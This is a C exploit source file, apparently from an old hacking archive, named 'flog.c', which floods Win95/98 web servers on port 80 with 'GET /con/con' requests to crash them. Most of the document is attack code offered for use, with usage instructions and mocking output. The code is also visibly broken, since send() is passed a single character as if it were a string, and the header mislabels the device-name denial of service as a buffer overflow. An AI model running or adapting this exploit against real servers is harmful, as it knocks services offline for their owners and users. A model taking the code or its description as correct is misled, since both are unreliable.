home *** CD-ROM | disk | FTP | other *** search
- /*
- * [flog.c]
- * A remote buffer overflow that affects all Win95/98/se machines
- * running a webserver using the unexisting /con/con exploit.
- *
- * by Infernal Pulse
- * infernal@hackdesk.com
- * http://www.hackdesk.com
- *
- * Greets
- * R00T-dude - For the idea.
- * All of the Hack Desk staff...
- *
- * NOTE: Does not work on Windows NT 4 or Windows 2000 web servers.
- *
- */
-
- #include <fcntl.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <signal.h>
- #include <stdio.h>
- #include <string.h>
- #include <netdb.h>
- #include <ctype.h>
- #include <arpa/nameser.h>
- #include <sys/stat.h>
- #include <strings.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/socket.h>
-
- void main(int argc, char *argv[])
- {
- int sock,debugm=0;
- struct in_addr addr;
- struct sockaddr_in sin;
- struct hostent *he;
- unsigned long start;
- unsigned long end;
- unsigned long counter;
- char foundmsg[] = "200";
- char *cgistr;
- char buffer[1024];
- int count=0;
- int numin,crap=0;
- char conbuff[1024];
- char *buff;
- buff = "GET /con/con HTTP/1.0\n\n";
-
- if (argc<2)
- {
- printf("\n [flog.c] by Infernal Pulse ");
- printf("\n Exploits the /con/con vulnerability on Win9x webservers. ");
- printf("\n Usage: %s host",argv[0]);
- exit(0);
- }
- if (argc>2)
- {
- if(strstr("-d",argv[2]))
- {
- debugm=1;
- }
- }
- if ((he=gethostbyname(argv[1])) == NULL)
- {
- herror("gethostbyname");
- exit(0);
- }
-
- printf("\n\n\t flog.c by Infernal Pulse \n\n\n");
- start=inet_addr(argv[1]);
- counter=ntohl(start);
-
- sock=socket(AF_INET, SOCK_STREAM, 0);
- bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
- sin.sin_family=AF_INET;
- sin.sin_port=htons(80);
-
- if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
- {
- perror("connect");
- }
- printf("\n\n\t Checking webserver version... \n");
- getchar();
- send(sock, "HEAD / HTTP/1.0\n\n",17,0);
- recv(sock, buffer, sizeof(buffer),0);
- printf("%s",buffer);
- close(sock);
-
- printf("\n\t Executing code... *fl0g* *fl0g* *fl0g* \n");
- getchar();
-
- while(count++ < 97)
- {
- sock=socket(AF_INET, SOCK_STREAM, 0);
- bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
- sin.sin_family=AF_INET;
- sin.sin_port=htons(80);
- if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
- {
- perror("connect");
- }
- printf("fl0g - error");
-
- for(numin=0;numin < 1024;numin++)
- {
- conbuff[numin] = '\0';
- }
-
- send(sock, buff[count],strlen(buff[count]),0);
- recv(sock, conbuff, sizeof(conbuff),0);
- cgistr = strstr(conbuff,foundmsg);
- printf("Finished fl0ggin'!\n");
- close(sock);
- }
- if (crap)
- {
- printf("fl0g dem Windows kiddies!\n");
- }
- }
- /* www.hack.co.za [2000]*/
-